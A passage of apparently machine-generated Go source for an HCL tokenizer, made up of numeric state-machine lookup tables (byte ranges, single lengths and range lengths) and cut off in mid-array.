160, 178,\n    179, 191, 128, 145, 146, 191, 128, 178,\n    179, 191, 128, 130, 131, 132, 133, 134,\n    135, 136, 138, 139, 140, 141, 144, 145,\n    146, 147, 150, 151, 152, 153, 154, 156,\n    162, 163, 171, 176, 177, 178, 129, 191,\n    128, 130, 131, 183, 184, 191, 128, 130,\n    131, 175, 176, 191, 128, 143, 144, 168,\n    169, 191, 128, 130, 131, 166, 167, 191,\n    182, 128, 143, 144, 178, 179, 191, 128,\n    130, 131, 178, 179, 191, 128, 154, 156,\n    129, 132, 133, 191, 146, 128, 171, 172,\n    191, 135, 137, 142, 158, 128, 168, 169,\n    175, 176, 255, 159, 191, 192, 255, 144,\n    128, 156, 157, 161, 162, 191, 128, 134,\n    135, 138, 139, 191, 128, 175, 176, 191,\n    134, 128, 131, 132, 135, 136, 191, 128,\n    174, 175, 191, 128, 151, 152, 155, 156,\n    191, 132, 128, 191, 128, 170, 171, 191,\n    128, 153, 154, 191, 160, 190, 192, 255,\n    128, 184, 185, 191, 137, 128, 174, 175,\n    191, 128, 129, 177, 178, 255, 144, 191,\n    192, 255, 128, 142, 143, 144, 145, 146,\n    149, 129, 148, 150, 191, 175, 191, 192,\n    255, 132, 191, 192, 255, 128, 144, 129,\n    143, 145, 191, 144, 153, 128, 143, 145,\n    152, 154, 191, 135, 191, 192, 255, 160,\n    168, 169, 171, 172, 173, 174, 188, 189,\n    190, 191, 128, 159, 161, 167, 170, 187,\n    185, 191, 192, 255, 128, 143, 144, 173,\n    174, 191, 128, 131, 132, 162, 163, 183,\n    184, 188, 189, 255, 133, 143, 145, 191,\n    192, 255, 128, 146, 147, 159, 160, 191,\n    160, 128, 191, 128, 129, 191, 192, 255,\n    159, 160, 171, 128, 170, 172, 191, 192,\n    255, 173, 191, 192, 255, 179, 191, 192,\n    255, 128, 176, 177, 178, 129, 191, 128,\n    129, 130, 191, 171, 175, 189, 191, 192,\n    255, 128, 136, 137, 143, 144, 153, 154,\n    191, 144, 145, 146, 147, 148, 149, 154,\n    155, 156, 157, 158, 159, 128, 143, 150,\n    153, 160, 191, 149, 157, 173, 186, 188,\n    160, 161, 163, 164, 167, 168, 132, 134,\n    149, 157, 186, 191, 139, 140, 192, 255,\n    133, 145, 128, 134, 135, 137, 138, 255,\n    166, 167, 129, 155, 187, 149, 181, 143,\n    175, 137, 169, 131, 140, 191, 192, 255,\n    160, 163, 164, 165, 184, 185, 186, 128,\n    159, 161, 162, 166, 191, 133, 191, 192,\n    255, 132, 160, 163, 167, 179, 184, 186,\n    128, 164, 165, 168, 169, 187, 188, 191,\n    130, 135, 137, 139, 144, 147, 151, 153,\n    155, 157, 159, 163, 171, 179, 184, 189,\n    191, 128, 140, 141, 148, 149, 160, 161,\n    164, 165, 166, 167, 190, 138, 164, 170,\n    128, 155, 156, 160, 161, 187, 188, 191,\n    128, 191, 155, 156, 128, 191, 151, 191,\n    192, 255, 156, 157, 160, 128, 191, 181,\n    191, 192, 255, 158, 159, 186, 128, 185,\n    187, 191, 192, 255, 162, 191, 192, 255,\n    160, 168, 128, 159, 161, 167, 169, 191,\n    158, 191, 192, 255, 9, 10, 13, 32,\n    33, 34, 35, 38, 46, 47, 60, 61,\n    62, 64, 92, 95, 123, 124, 125, 126,\n    127, 194, 195, 198, 199, 203, 204, 205,\n    206, 207, 210, 212, 213, 214, 215, 216,\n    217, 219, 220, 221, 222, 223, 224, 225,\n    226, 227, 228, 233, 234, 237, 238, 239,\n    240, 0, 36, 37, 45, 48, 57, 58,\n    63, 65, 90, 91, 96, 97, 122, 192,\n    193, 196, 218, 229, 236, 241, 247, 9,\n    32, 10, 61, 10, 38, 46, 42, 47,\n    46, 69, 101, 48, 57, 60, 61, 61,\n    62, 61, 45, 95, 194, 195, 198, 199,\n    203, 204, 205, 206, 207, 210, 212, 213,\n    214, 215, 216, 217, 219, 220, 221, 222,\n    223, 224, 225, 226, 227, 228, 233, 234,\n    237, 239, 240, 243, 48, 57, 65, 90,\n    97, 122, 196, 218, 229, 236, 124, 125,\n    128, 191, 170, 181, 186, 128, 191, 151,\n    183, 128, 255, 192, 255, 0, 127, 173,\n    130, 133, 146, 159, 165, 171, 175, 191,\n    192, 255, 181, 190, 128, 175, 176, 183,\n    184, 185, 186, 191, 134, 139, 141, 162,\n    128, 135, 136, 255, 182, 130, 137, 176,\n    151, 152, 154, 160, 136, 191, 192, 255,\n    128, 143, 144, 170, 171, 175, 176, 178,\n    179, 191, 128, 159, 160, 191, 176, 128,\n    138, 139, 173, 174, 255, 148, 150, 164,\n    167, 173, 176, 185, 189, 190, 192, 255,\n    144, 128, 145, 146, 175, 176, 191, 128,\n    140, 141, 255, 166, 176, 178, 191, 192,\n    255, 186, 128, 137, 138, 170, 171, 179,\n    180, 181, 182, 191, 160, 161, 162, 164,\n    165, 166, 167, 168, 169, 170, 171, 172,\n    173, 174, 175, 176, 177, 178, 179, 180,\n    181, 182, 183, 184, 185, 186, 187, 188,\n    189, 190, 128, 191, 128, 129, 130, 131,\n    137, 138, 139, 140, 141, 142, 143, 144,\n    153, 154, 155, 156, 157, 158, 159, 160,\n    161, 162, 163, 164, 165, 166, 167, 168,\n    169, 170, 171, 172, 173, 174, 175, 176,\n    177, 178, 179, 180, 182, 183, 184, 188,\n    189, 190, 191, 132, 187, 129, 130, 132,\n    133, 134, 176, 177, 178, 179, 180, 181,\n    182, 183, 128, 191, 128, 129, 130, 131,\n    132, 133, 134, 135, 144, 136, 143, 145,\n    191, 192, 255, 182, 183, 184, 128, 191,\n    128, 191, 191, 128, 190, 192, 255, 128,\n    146, 147, 148, 152, 153, 154, 155, 156,\n    158, 159, 160, 161, 162, 163, 164, 165,\n    166, 167, 168, 169, 170, 171, 172, 173,\n    174, 175, 176, 129, 191, 192, 255, 158,\n    159, 128, 157, 160, 191, 192, 255, 128,\n    191, 164, 169, 171, 172, 173, 174, 175,\n    180, 181, 182, 183, 184, 185, 187, 188,\n    189, 190, 191, 128, 163, 165, 186, 144,\n    145, 146, 147, 148, 150, 151, 152, 155,\n    157, 158, 160, 170, 171, 172, 175, 128,\n    159, 161, 169, 173, 191, 128, 191, 10,\n    13, 34, 36, 37, 92, 128, 191, 192,\n    223, 224, 239, 240, 247, 248, 255, 10,\n    13, 34, 92, 36, 37, 128, 191, 192,\n    223, 224, 239, 240, 247, 248, 255, 10,\n    13, 36, 123, 123, 126, 126, 37, 123,\n    126, 10, 13, 128, 191, 192, 223, 224,\n    239, 240, 247, 248, 255, 128, 191, 128,\n    191, 128, 191, 10, 13, 36, 37, 128,\n    191, 192, 223, 224, 239, 240, 247, 248,\n    255, 10, 13, 36, 37, 128, 191, 192,\n    223, 224, 239, 240, 247, 248, 255, 10,\n    13, 10, 13, 123, 10, 13, 126, 10,\n    13, 126, 126, 128, 191, 128, 191, 128,\n    191, 10, 13, 36, 37, 128, 191, 192,\n    223, 224, 239, 240, 247, 248, 255, 10,\n    13, 36, 37, 128, 191, 192, 223, 224,\n    239, 240, 247, 248, 255, 10, 13, 10,\n    13, 123, 10, 13, 126, 10, 13, 126,\n    126, 128, 191, 128, 191, 128, 191, 95,\n    194, 195, 198, 199, 203, 204, 205, 206,\n    207, 210, 212, 213, 214, 215, 216, 217,\n    219, 220, 221, 222, 223, 224, 225, 226,\n    227, 228, 233, 234, 237, 238, 239, 240,\n    65, 90, 97, 122, 128, 191, 192, 193,\n    196, 218, 229, 236, 241, 247, 248, 255,\n    45, 95, 194, 195, 198, 199, 203, 204,\n    205, 206, 207, 210, 212, 213, 214, 215,\n    216, 217, 219, 220, 221, 222, 223, 224,\n    225, 226, 227, 228, 233, 234, 237, 239,\n    240, 243, 48, 57, 65, 90, 97, 122,\n    196, 218, 229, 236, 128, 191, 170, 181,\n    186, 128, 191, 151, 183, 128, 255, 192,\n    255, 0, 127, 173, 130, 133, 146, 159,\n    165, 171, 175, 191, 192, 255, 181, 190,\n    128, 175, 176, 183, 184, 185, 186, 191,\n    134, 139, 141, 162, 128, 135, 136, 255,\n    182, 130, 137, 176, 151, 152, 154, 160,\n    136, 191, 192, 255, 128, 143, 144, 170,\n    171, 175, 176, 178, 179, 191, 128, 159,\n    160, 191, 176, 128, 138, 139, 173, 174,\n    255, 148, 150, 164, 167, 173, 176, 185,\n    189, 190, 192, 255, 144, 128, 145, 146,\n    175, 176, 191, 128, 140, 141, 255, 166,\n    176, 178, 191, 192, 255, 186, 128, 137,\n    138, 170, 171, 179, 180, 181, 182, 191,\n    160, 161, 162, 164, 165, 166, 167, 168,\n    169, 170, 171, 172, 173, 174, 175, 176,\n    177, 178, 179, 180, 181, 182, 183, 184,\n    185, 186, 187, 188, 189, 190, 128, 191,\n    128, 129, 130, 131, 137, 138, 139, 140,\n    141, 142, 143, 144, 153, 154, 155, 156,\n    157, 158, 159, 160, 161, 162, 163, 164,\n    165, 166, 167, 168, 169, 170, 171, 172,\n    173, 174, 175, 176, 177, 178, 179, 180,\n    182, 183, 184, 188, 189, 190, 191, 132,\n    187, 129, 130, 132, 133, 134, 176, 177,\n    178, 179, 180, 181, 182, 183, 128, 191,\n    128, 129, 130, 131, 132, 133, 134, 135,\n    144, 136, 143, 145, 191, 192, 255, 182,\n    183, 184, 128, 191, 128, 191, 191, 128,\n    190, 192, 255, 128, 146, 147, 148, 152,\n    153, 154, 155, 156, 158, 159, 160, 161,\n    162, 163, 164, 165, 166, 167, 168, 169,\n    170, 171, 172, 173, 174, 175, 176, 129,\n    191, 192, 255, 158, 159, 128, 157, 160,\n    191, 192, 255, 128, 191, 164, 169, 171,\n    172, 173, 174, 175, 180, 181, 182, 183,\n    184, 185, 187, 188, 189, 190, 191, 128,\n    163, 165, 186, 144, 145, 146, 147, 148,\n    150, 151, 152, 155, 157, 158, 160, 170,\n    171, 172, 175, 128, 159, 161, 169, 173,\n    191, 128, 191,\n}\n\nvar _hcltok_single_lengths []byte = []byte{\n    0, 1, 1, 2, 3, 2, 0, 32,\n    31, 36, 1, 4, 0, 0, 0, 0,\n    1, 2, 1, 1, 1, 1, 0, 1,\n    1, 0, 0, 2, 0, 0, 0, 1,\n    32, 0, 0, 0, 0, 1, 3, 1,\n    1, 1, 0, 2, 0, 1, 1, 2,\n    0, 3, 0, 1, 0, 2, 1, 2,\n    0, 0, 5, 1, 4, 0, 0, 1,\n    43, 0, 0, 0, 2, 3, 2, 1,\n    1, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 1, 1, 0, 0,\n    0, 0, 0, 0, 0, 0, 4, 1,\n    0, 15, 0, 0, 0, 1, 6, 1,\n    0, 0, 1, 0, 2, 0, 0, 0,\n    9, 0, 1, 1, 0, 0, 0, 3,\n    0, 1, 0, 28, 0, 0, 0, 1,\n    0, 1, 0, 0, 0, 1, 0, 0,\n    0, 0, 0, 0, 0, 1, 0, 2,\n    0, 0, 18, 0, 0, 1, 0, 0,\n    0, 0, 0, 0, 0, 0, 1, 0,\n    0, 0, 16, 36, 0, 0, 0, 0,\n    1, 0, 0, 0, 0, 0, 1, 0,\n    0, 0, 0, 0, 0, 2, 0, 0,\n    0, 0, 0, 1, 0, 0, 0, 0,\n    0, 0, 0, 28, 0, 0, 0, 1,\n    1, 1, 1, 0, 0, 2, 0, 1,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 1, 1, 4, 0, 0, 2, 2,\n    0, 11, 0, 0, 0, 0, 0, 0,\n    0, 1, 1, 3, 0, 0, 4, 0,\n    0, 0, 18, 0, 0, 0, 1, 4,\n    1, 4, 1, 0, 3, 2, 2, 2,\n    1, 0, 0, 1, 8, 0, 0, 0,\n    4, 12, 0, 2, 0, 3, 0, 1,\n    0, 2, 0, 1, 2, 0, 3, 1,\n    2, 0, 0, 0, 0, 0, 1, 1,\n    0, 0, 1, 28, 3, 0, 1, 1,\n    2, 1, 0, 1, 1, 2, 1, 1,\n    2, 1, 1, 0, 2, 1, 1, 1,\n    1, 0, 0, 6, 1, 1, 0, 0,\n    46, 1, 1, 0, 0, 0, 0, 2,\n    1, 0, 0, 0, 1, 0, 0, 0,\n    0, 0, 0, 0, 13, 2, 0, 0,\n    0, 9, 0, 1, 28, 0, 1, 3,\n    0, 2, 0, 0, 0, 1, 0, 1,\n    1, 2, 0, 18, 2, 0, 0, 16,\n    35, 0, 0, 0, 1, 0, 28, 0,\n    0, 0, 0, 1, 0, 2, 0, 0,\n    1, 0, 0, 1, 0, 0, 1, 0,\n    0, 0, 0, 1, 11, 0, 0, 0,\n    0, 4, 0, 12, 1, 7, 0, 4,\n    0, 0, 0, 0, 1, 2, 1, 1,\n    1, 1, 0, 1, 1, 0, 0, 2,\n    0, 0, 0, 1, 32, 0, 0, 0,\n    0, 1, 3, 1, 1, 1, 0, 2,\n    0, 1, 1, 2, 0, 3, 0, 1,\n    0, 2, 1, 2, 0, 0, 5, 1,\n    4, 0, 0, 1, 43, 0, 0, 0,\n    2, 3, 2, 1, 1, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    1, 1, 0, 0, 0, 0, 0, 0,\n    0, 0, 4, 1, 0, 15, 0, 0,\n    0, 1, 6, 1, 0, 0, 1, 0,\n    2, 0, 0, 0, 9, 0, 1, 1,\n    0, 0, 0, 3, 0, 1, 0, 28,\n    0, 0, 0, 1, 0, 1, 0, 0,\n    0, 1, 0, 0, 0, 0, 0, 0,\n    0, 1, 0, 2, 0, 0, 18, 0,\n    0, 1, 0, 0, 0, 0, 0, 0,\n    0, 0, 1, 0, 0, 0, 16, 36,\n    0, 0, 0, 0, 1, 0, 0, 0,\n    0, 0, 1, 0, 0, 0, 0, 0,\n    0, 2, 0, 0, 0, 0, 0, 1,\n    0, 0, 0, 0, 0, 0, 0, 28,\n    0, 0, 0, 1, 1, 1, 1, 0,\n    0, 2, 0, 1, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 1, 1, 4,\n    0, 0, 2, 2, 0, 11, 0, 0,\n    0, 0, 0, 0, 0, 1, 1, 3,\n    0, 0, 4, 0, 0, 0, 18, 0,\n    0, 0, 1, 4, 1, 4, 1, 0,\n    3, 2, 2, 2, 1, 0, 0, 1,\n    8, 0, 0, 0, 4, 12, 0, 2,\n    0, 3, 0, 1, 0, 2, 0, 1,\n    2, 0, 0, 3, 0, 1, 1, 1,\n    2, 2, 4, 1, 6, 2, 4, 2,\n    4, 1, 4, 0, 6, 1, 3, 1,\n    2, 0, 2, 11, 1, 1, 1, 0,\n    1, 1, 0, 2, 0, 3, 3, 2,\n    1, 0, 0, 0, 1, 0, 1, 0,\n    1, 1, 0, 2, 0, 0, 1, 0,\n    0, 0, 0, 0, 0, 0, 1, 0,\n    0, 0, 0, 0, 0, 0, 1, 0,\n    0, 0, 4, 3, 2, 2, 0, 6,\n    1, 0, 1, 1, 0, 2, 0, 4,\n    3, 0, 1, 1, 0, 0, 0, 0,\n    0, 0, 0, 1, 0, 0, 0, 1,\n    0, 3, 0, 2, 0, 0, 0, 3,\n    0, 2, 1, 1, 3, 1, 0, 0,\n    0, 0, 0, 5, 2, 0, 0, 0,\n    0, 0, 0, 1, 0, 0, 1, 1,\n    0, 0, 35, 4, 0, 0, 0, 0,\n    0, 0, 0, 1, 0, 0, 0, 0,\n    0, 0, 3, 0, 1, 0, 0, 3,\n    0, 0, 1, 0, 0, 0, 0, 28,\n    0, 0, 0, 0, 1, 0, 3, 1,\n    4, 0, 1, 0, 0, 1, 0, 0,\n    1, 0, 0, 0, 0, 1, 1, 0,\n    7, 0, 0, 2, 2, 0, 11, 0,\n    0, 0, 0, 0, 1, 1, 3, 0,\n    0, 4, 0, 0, 0, 12, 1, 4,\n    1, 5, 2, 0, 3, 2, 2, 2,\n    1, 7, 0, 7, 17, 3, 0, 2,\n    0, 3, 0, 0, 1, 0, 2, 0,\n    2, 0, 0, 0, 0, 0, 1, 0,\n    0, 0, 2, 2, 1, 0, 0, 0,\n    2, 2, 4, 0, 0, 0, 0, 1,\n    2, 1, 1, 1, 1, 0, 1, 1,\n    0, 0, 2, 0, 0, 0, 1, 32,\n    0, 0, 0, 0, 1, 3, 1, 1,\n    1, 0, 2, 0, 1, 1, 2, 0,\n    3, 0, 1, 0, 2, 1, 2, 0,\n    0, 5, 1, 4, 0, 0, 1, 43,\n    0, 0, 0, 2, 3, 2, 1, 1,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 1, 1, 0, 0, 0,\n    0, 0, 0, 0, 0, 4, 1, 0,\n    15, 0, 0, 0, 1, 6, 1, 0,\n    0, 1, 0, 2, 0, 0, 0, 9,\n    0, 1, 1, 0, 0, 0, 3, 0,\n    1, 0, 28, 0, 0, 0, 1, 0,\n    1, 0, 0, 0, 1, 0, 0, 0,\n    0, 0, 0, 0, 1, 0, 2, 0,\n    0, 18, 0, 0, 1, 0, 0, 0,\n    0, 0, 0, 0, 0, 1, 0, 0,\n    0, 16, 36, 0, 0, 0, 0, 1,\n    0, 0, 0, 0, 0, 1, 0, 0,\n    0, 0, 0, 0, 2, 0, 0, 0,\n    0, 0, 1, 0, 0, 0, 0, 0,\n    0, 0, 28, 0, 0, 0, 1, 1,\n    1, 1, 0, 0, 2, 0, 1, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    1, 1, 4, 0, 0, 2, 2, 0,\n    11, 0, 0, 0, 0, 0, 0, 0,\n    1, 1, 3, 0, 0, 4, 0, 0,\n    0, 18, 0, 0, 0, 1, 4, 1,\n    4, 1, 0, 3, 2, 2, 2, 1,\n    0, 0, 1, 8, 0, 0, 0, 4,\n    12, 0, 2, 0, 3, 0, 1, 0,\n    2, 0, 1, 2, 0, 0, 3, 0,\n    1, 1, 1, 2, 2, 4, 1, 6,\n    2, 4, 2, 4, 1, 4, 0, 6,\n    1, 3, 1, 2, 0, 2, 11, 1,\n    1, 1, 0, 1, 1, 0, 2, 0,\n    3, 3, 2, 1, 0, 0, 0, 1,\n    0, 1, 0, 1, 1, 0, 2, 0,\n    0, 1, 0, 0, 0, 0, 0, 0,\n    0, 1, 0, 0, 0, 0, 0, 0,\n    0, 1, 0, 0, 0, 4, 3, 2,\n    2, 0, 6, 1, 0, 1, 1, 0,\n    2, 0, 4, 3, 0, 1, 1, 0,\n    0, 0, 0, 0, 0, 0, 1, 0,\n    0, 0, 1, 0, 3, 0, 2, 0,\n    0, 0, 3, 0, 2, 1, 1, 3,\n    1, 0, 0, 0, 0, 0, 5, 2,\n    0, 0, 0, 0, 0, 0, 1, 0,\n    0, 1, 1, 0, 0, 35, 4, 0,\n    0, 0, 0, 0, 0, 0, 1, 0,\n    0, 0, 0, 0, 0, 3, 0, 1,\n    0, 0, 3, 0, 0, 1, 0, 0,\n    0, 0, 28, 0, 0, 0, 0, 1,\n    0, 3, 1, 4, 0, 1, 0, 0,\n    1, 0, 0, 1, 0, 0, 0, 0,\n    1, 1, 0, 7, 0, 0, 2, 2,\n    0, 11, 0, 0, 0, 0, 0, 1,\n    1, 3, 0, 0, 4, 0, 0, 0,\n    12, 1, 4, 1, 5, 2, 0, 3,\n    2, 2, 2, 1, 7, 0, 7, 17,\n    3, 0, 2, 0, 3, 0, 0, 1,\n    0, 2, 0, 53, 2, 1, 1, 1,\n    1, 1, 2, 3, 2, 2, 1, 34,\n    1, 1, 0, 3, 2, 0, 0, 0,\n    1, 2, 4, 1, 0, 1, 0, 0,\n    0, 0, 1, 1, 1, 0, 0, 1,\n    30, 47, 13, 9, 3, 0, 1, 28,\n    2, 0, 18, 16, 0, 6, 4, 2,\n    2, 0, 1, 1, 1, 2, 1, 2,\n    0, 0, 0, 4, 2, 2, 3, 3,\n    2, 1, 1, 0, 0, 0, 4, 2,\n    2, 3, 3, 2, 1, 1, 0, 0,\n    0, 33, 34, 0, 3, 2, 0, 0,\n    0, 1, 2, 4, 1, 0, 1, 0,\n    0, 0, 0, 1, 1, 1, 0, 0,\n    1, 30, 47, 13, 9, 3, 0, 1,\n    28, 2, 0, 18, 16, 0,\n}\n\nvar _hcltok_range_lengths []byte = []byte{\n    0, 0, 0, 0, 1, 1, 1, 5,\n    5, 5, 0, 0, 3, 0, 1, 1,\n    4, 2, 3, 0, 1, 0, 2, 2,\n    4, 2, 2, 3, 1, 1, 1, 1,\n    0, 1, 1, 2, 2, 1, 4, 6,\n    9, 6, 8, 5, 8, 7, 10, 4,\n    6, 4, 7, 7, 5, 5, 4, 5,\n    1, 2, 8, 4, 3, 3, 3, 0,\n    3, 1, 2, 1, 2, 2, 3, 3,\n    1, 3, 2, 2, 1, 2, 2, 2,\n    3, 4, 4, 3, 1, 2, 1, 3,\n    2, 2, 2, 2, 2, 3, 3, 1,\n    1, 2, 1, 3, 2, 2, 3, 2,\n    7, 0, 1, 4, 1, 2, 4, 2,\n    1, 2, 0, 2, 2, 3, 5, 5,\n    1, 4, 1, 1, 2, 2, 1, 0,\n    0, 1, 1, 1, 1, 1, 2, 2,\n    2, 2, 1, 1, 1, 4, 2, 2,\n    3, 1, 4, 4, 6, 1, 3, 1,\n    1, 2, 1, 1, 1, 5, 3, 1,\n    1, 1, 2, 3, 3, 1, 2, 2,\n    1, 4, 1, 2, 5, 2, 1, 1,\n    0, 2, 2, 2, 2, 2, 2, 2,\n    2, 2, 1, 1, 2, 4, 2, 1,\n    2, 2, 2, 6, 1, 1, 2, 1,\n    2, 1, 1, 1, 2, 2, 2, 1,\n    3, 2, 5, 2, 8, 6, 2, 2,\n    2, 2, 3, 1, 3, 1, 2, 1,\n    3, 2, 2, 3, 1, 1, 1, 1,\n    1, 1, 1, 2, 2, 4, 1, 2,\n    1, 0, 1, 1, 1, 1, 0, 1,\n    2, 3, 1, 3, 3, 1, 0, 3,\n    0, 2, 3, 1, 0, 0, 0, 0,\n    2, 2, 2, 2, 1, 5, 2, 2,\n    5, 7, 5, 0, 1, 0, 1, 1,\n    1, 1, 1, 0, 1, 1, 0, 3,\n    3, 1, 1, 2, 1, 3, 5, 1,\n    1, 2, 2, 1, 1, 1, 1, 2,\n    6, 3, 7, 2, 6, 1, 6, 2,\n    8, 0, 4, 2, 5, 2, 3, 3,\n    3, 1, 2, 8, 2, 0, 2, 1,\n    2, 1, 5, 2, 1, 3, 3, 0,\n    2, 1, 2, 1, 0, 1, 1, 3,\n    1, 1, 2, 3, 0, 0, 3, 2,\n    4, 1, 4, 1, 1, 3, 1, 1,\n    1, 1, 2, 2, 1, 3, 1, 4,\n    3, 3, 1, 1, 5, 2, 1, 1,\n    2, 1, 2, 1, 3, 2, 0, 1,\n    1, 1, 1, 1, 1, 1, 2, 1,\n    1, 1, 1, 1, 1, 1, 0, 1,\n    1, 2, 2, 1, 1, 1, 3, 2,\n    1, 0, 2, 1, 1, 1, 1, 0,\n    3, 0, 1, 1, 4, 2, 3, 0,\n    1, 0, 2, 2, 4, 2, 2, 3,\n    1, 1, 1, 1, 0, 1, 1, 2,\n    2, 1, 4, 6, 9, 6, 8, 5,\n    8, 7, 10, 4, 6, 4, 7, 7,\n    5, 5, 4, 5, 1, 2, 8, 4,\n    3, 3, 3, 0, 3, 1, 2, 1,\n    2, 2, 3, 3, 1, 3, 2, 2,\n    1, 2, 2, 2, 3, 4, 4, 3,\n    1, 2, 1, 3, 2, 2, 2, 2,\n    2, 3, 3, 1, 1, 2, 1, 3,\n    2, 2, 3, 2, 7, 0, 1, 4,\n    1, 2, 4, 2, 1, 2, 0, 2,\n    2, 3, 5, 5, 1, 4, 1, 1,\n    2, 2, 1, 0, 0, 1, 1, 1,\n    1, 1, 2, 2, 2, 2, 1, 1,\n    1, 4, 2, 2, 3, 1, 4, 4,\n    6, 1, 3, 1, 1, 2, 1, 1,\n    1, 5, 3, 1, 1, 1, 2, 3,\n    3, 1, 2, 2, 1, 4, 1, 2,\n    5, 2, 1, 1, 0, 2, 2, 2,\n    2, 2, 2, 2, 2, 2, 1, 1,\n    2, 4, 2, 1, 2, 2, 2, 6,\n    1, 1, 2, 1, 2, 1, 1, 1,\n    2, 2, 2, 1, 3, 2, 5, 2,\n    8, 6, 2, 2, 2, 2, 3, 1,\n    3, 1, 2, 1, 3, 2, 2, 3,\n    1, 1, 1, 1, 1, 1, 1, 2,\n    2, 4, 1, 2, 1, 0, 1, 1,\n    1, 1, 0, 1, 2, 3, 1, 3,\n    3, 1, 0, 3, 0, 2, 3, 1,\n    0, 0, 0, 0, 2, 2, 2, 2,\n    1, 5, 2, 2, 5, 7, 5, 0,\n    1, 0, 1, 1, 1, 1, 1, 0,\n    1, 1, 1, 2, 2, 3, 3, 4,\n    7, 5, 7, 5, 3, 3, 7, 3,\n    13, 1, 3, 5, 3, 5, 3, 6,\n    5, 2, 2, 8, 4, 1, 2, 3,\n    2, 10, 2, 2, 0, 2, 3, 3,\n    1, 2, 3, 3, 1, 2, 3, 3,\n    4, 4, 2, 1, 2, 2, 3, 2,\n    2, 5, 3, 2, 3, 2, 1, 3,\n    3, 6, 2, 2, 5, 2, 5, 1,\n    1, 2, 4, 1, 11, 1, 3, 8,\n    4, 2, 1, 0, 4, 3, 3, 3,\n    2, 9, 1, 1, 4, 3, 2, 2,\n    2, 3, 4, 2, 3, 2, 4, 3,\n    2, 2, 3, 3, 4, 3, 3, 4,\n    2, 5, 4, 8, 7, 1, 2, 1,\n    3, 1, 2, 5, 1, 2, 2, 2,\n    2, 1, 3, 2, 2, 3, 3, 1,\n    9, 1, 5, 1, 3, 2, 2, 3,\n    2, 3, 3, 3, 1, 3, 3, 2,\n    2, 4, 5, 3, 3, 4, 3, 3,\n    3, 2, 2, 2, 4, 2, 2, 1,\n    3, 3, 3, 3, 3, 3, 2, 2,\n    3, 2, 3, 3, 2, 3, 2, 3,\n    1, 2, 2, 2, 2, 2, 2, 2,\n    2, 2, 2, 2, 3, 2, 3, 2,\n    3, 5, 3, 3, 1, 2, 3, 2,\n    2, 1, 2, 3, 4, 3, 0, 3,\n    0, 2, 3, 1, 0, 0, 0, 0,\n    2, 3, 2, 4, 6, 4, 1, 1,\n    2, 1, 2, 1, 3, 2, 3, 2,\n    5, 1, 1, 1, 1, 1, 0, 1,\n    1, 1, 0, 0, 0, 1, 1, 1,\n    0, 0, 0, 3, 0, 1, 1, 4,\n    2, 3, 0, 1, 0, 2, 2, 4,\n    2, 2, 3, 1, 1, 1, 1, 0,\n    1, 1, 2, 2, 1, 4, 6, 9,\n    6, 8, 5, 8, 7, 10, 4, 6,\n    4, 7, 7, 5, 5, 4, 5, 1,\n    2, 8, 4, 3, 3, 3, 0, 3,\n    1, 2, 1, 2, 2, 3, 3, 1,\n    3, 2, 2, 1, 2, 2, 2, 3,\n    4, 4, 3, 1, 2, 1, 3, 2,\n    2, 2, 2, 2, 3, 3, 1, 1,\n    2, 1, 3, 2, 2, 3, 2, 7,\n    0, 1, 4, 1, 2, 4, 2, 1,\n    2, 0, 2, 2, 3, 5, 5, 1,\n    4, 1, 1, 2, 2, 1, 0, 0,\n    1, 1, 1, 1, 1, 2, 2, 2,\n    2, 1, 1, 1, 4, 2, 2, 3,\n    1, 4, 4, 6, 1, 3, 1, 1,\n    2, 1, 1, 1, 5, 3, 1, 1,\n    1, 2, 3, 3, 1, 2, 2, 1,\n    4, 1, 2, 5, 2, 1, 1, 0,\n    2, 2, 2, 2, 2, 2, 2, 2,\n    2, 1, 1, 2, 4, 2, 1, 2,\n    2, 2, 6, 1, 1, 2, 1, 2,\n    1, 1, 1, 2, 2, 2, 1, 3,\n    2, 5, 2, 8, 6, 2, 2, 2,\n    2, 3, 1, 3, 1, 2, 1, 3,\n    2, 2, 3, 1, 1, 1, 1, 1,\n    1, 1, 2, 2, 4, 1, 2, 1,\n    0, 1, 1, 1, 1, 0, 1, 2,\n    3, 1, 3, 3, 1, 0, 3, 0,\n    2, 3, 1, 0, 0, 0, 0, 2,\n    2, 2, 2, 1, 5, 2, 2, 5,\n    7, 5, 0, 1, 0, 1, 1, 1,\n    1, 1, 0, 1, 1, 1, 2, 2,\n    3, 3, 4, 7, 5, 7, 5, 3,\n    3, 7, 3, 13, 1, 3, 5, 3,\n    5, 3, 6, 5, 2, 2, 8, 4,\n    1, 2, 3, 2, 10, 2, 2, 0,\n    2, 3, 3, 1, 2, 3, 3, 1,\n    2, 3, 3, 4, 4, 2, 1, 2,\n    2, 3, 2, 2, 5, 3, 2, 3,\n    2, 1, 3, 3, 6, 2, 2, 5,\n    2, 5, 1, 1, 2, 4, 1, 11,\n    1, 3, 8, 4, 2, 1, 0, 4,\n    3, 3, 3, 2, 9, 1, 1, 4,\n    3, 2, 2, 2, 3, 4, 2, 3,\n    2, 4, 3, 2, 2, 3, 3, 4,\n    3, 3, 4, 2, 5, 4, 8, 7,\n    1, 2, 1, 3, 1, 2, 5, 1,\n    2, 2, 2, 2, 1, 3, 2, 2,\n    3, 3, 1, 9, 1, 5, 1, 3,\n    2, 2, 3, 2, 3, 3, 3, 1,\n    3, 3, 2, 2, 4, 5, 3, 3,\n    4, 3, 3, 3, 2, 2, 2, 4,\n    2, 2, 1, 3, 3, 3, 3, 3,\n    3, 2, 2, 3, 2, 3, 3, 2,\n    3, 2, 3, 1, 2, 2, 2, 2,\n    2, 2, 2, 2, 2, 2, 2, 3,\n    2, 3, 2, 3, 5, 3, 3, 1,\n    2, 3, 2, 2, 1, 2, 3, 4,\n    3, 0, 3, 0, 2, 3, 1, 0,\n    0, 0, 0, 2, 3, 2, 4, 6,\n    4, 1, 1, 2, 1, 2, 1, 3,\n    2, 3, 2, 11, 0, 0, 0, 0,\n    0, 0, 0, 1, 0, 0, 0, 5,\n    0, 0, 1, 1, 1, 0, 1, 1,\n    5, 4, 2, 0, 1, 0, 2, 2,\n    5, 2, 